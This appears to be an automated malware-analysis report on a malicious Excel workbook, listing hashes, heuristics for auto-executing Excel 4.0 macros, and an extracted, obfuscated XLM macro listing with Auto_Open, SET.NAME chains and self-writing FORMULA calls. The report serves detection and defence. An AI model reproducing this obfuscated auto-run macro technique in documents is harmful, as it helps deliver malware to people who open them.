Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 994e4b19a8188491…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:43:07 Authoring application: Microsoft Excel First seen: 2021-01-15
MD5: 55dbc8d2adbafc29e132fa1ef524bdb1 SHA-1: 835354ea4ac8ae8edf67eafd08d987c445b301a7 SHA-256: 994e4b19a81884919fb1595cd1d15914a38766f5ee604d62dfe5b0082701f5d6
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6741 bytes
SHA-256: 4d05be43b0941e3b22736012691581964872e1712c5f3d39e23dceafd328f39f
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     20 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  yjRmtYChkIh
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!G155 
' 0018     27 LABEL : Cell Value, String Constant - DAwHmejKuapH len=0 
' 0018     23 LABEL : Cell Value, String Constant - FCefRLow len=0 
' 0018     21 LABEL : Cell Value, String Constant - GHLIKn len=0 
' 0018     26 LABEL : Cell Value, String Constant - hQERqgNFIgx len=0 
' 0018     27 LABEL : Cell Value, String Constant - IxkHbUaSfnqD len=0 
' 0018     23 LABEL : Cell Value, String Constant - jcpkbAkL len=0 
' 0018     23 LABEL : Cell Value, String Constant - JhutOrXP len=0 
' 0018     27 LABEL : Cell Value, String Constant - JtsuFDkNFcyD len=0 
' 0018     22 LABEL : Cell Value, String Constant - LSHqils len=0 
' 0018     27 LABEL : Cell Value, String Constant - lwZROwvYoICp len=0 
' 0018     26 LABEL : Cell Value, String Constant - NtNwRfCcxCc len=0 
' 0018     26 LABEL : Cell Value, String Constant - NTQEeAIYXPQ len=0 
' 0018     26 LABEL : Cell Value, String Constant - obhGVbyVdPy len=0 
' 0018     22 LABEL : Cell Value, String Constant - PiVFNmt len=0 
' 0018     27 LABEL : Cell Value, String Constant - rcPnBbyrxYro len=0 
' 0018     21 LABEL : Cell Value, String Constant - rLrUMC len=0 
' 0018     22 LABEL : Cell Value, String Constant - toPawiy len=0 
' 0018     26 LABEL : Cell Value, String Constant - tSRuHVKypXo len=0 
' 0018     23 LABEL : Cell Value, String Constant - ujwwjKXH len=0 
' 0018     22 LABEL : Cell Value, String Constant - YtOdTzj len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  yjRmtYChkIh,G60,"SET.NAME("rLrUMC",VALUE("0"))",""
'  yjRmtYChkIh,G64,"SET.NAME("ujwwjKXH",rLrUMC)",""
'  yjRmtYChkIh,G67,"SET.NAME("JtsuFDkNFcyD",rLrUMC)",""
'  yjRmtYChkIh,G72,"SET.NAME("hQERqgNFIgx",COUNTA(GHLIKn))",""
'  yjRmtYChkIh,G74,"SET.NAME("PiVFNmt",COUNTA(JhutOrXP))",""
'  yjRmtYChkIh,G79,[],""
'  yjRmtYChkIh,G83,"SET.NAME("DAwHmejKuapH","")",""
'  yjRmtYChkIh,G88,"ujwwjKXH",""
'  yjRmtYChkIh,G91,"SET.NAME("jcpkbAkL",HLOOKUP("*",GHLIKn,ujwwjKXH,FALSE))",""
'  yjRmtYChkIh,G96,"lwZROwvYoICp",""
'  yjRmtYChkIh,G98,"SET.NAME("IxkHbUaSfnqD",rLrUMC)",""
'  yjRmtYChkIh,G102,[],""
'  yjRmtYChkIh,G104,"IxkHbUaSfnqD",""
'  yjRmtYChkIh,G108,"YtOdTzj",""
'  yjRmtYChkIh,G112,"NTQEeAIYXPQ",""
'  yjRmtYChkIh,G115,"NtNwRfCcxCc",""
'  yjRmtYChkIh,G118,"SET.NAME("rcPnBbyrxYro",VALUE(HLOOKUP("*",JhutOrXP,NtNwRfCcxCc,FALSE)))",""
'  yjRmtYChkIh,G121,"toPawiy",""
'  yjRmtYChkIh,G126,"DAwHmejKuapH",""
'  yjRmtYChkIh,G129,"JtsuFDkNFcyD",""
'  yjRmtYChkIh,G133,NEXT(),""
'  yjRmtYChkIh,G136,"FCefRLow",""
'  yjRmtYChkIh,G139,"SET.NAME("f",INT(T(FORMULA(T(DAwHmejKuapH)&"",""&T(FCefRLow)))))",""
'  yjRmtYChkIh,G144,"obhGVbyVdPy",""
'  yjRmtYChkIh,G149,NEXT(),""
'  yjRmtYChkIh,G151,RETURN(),""
'  yjRmtYChkIh,G181,"SET.NAME("tSRuHVKypXo",G60)",""
'  yjRmtYChkIh,G185,"GHLIKn",""
'  yjRmtYChkIh,G188,"SET.NAME("JhutOrXP",R40C13)",""
'  yjRmtYChkIh,G191,"SET.NAME("obhGVbyVdPy",196)",""
'  yjRmtYChkIh,G193,"SET.NAME("LSHqils",7)",""
'  yjRmtYChkIh,G195,tSRuHVKypXo(),""
'  yjRmtYChkIh,G196,HALT(),""

Open this report in the interactive analyzer, or submit your own file for analysis.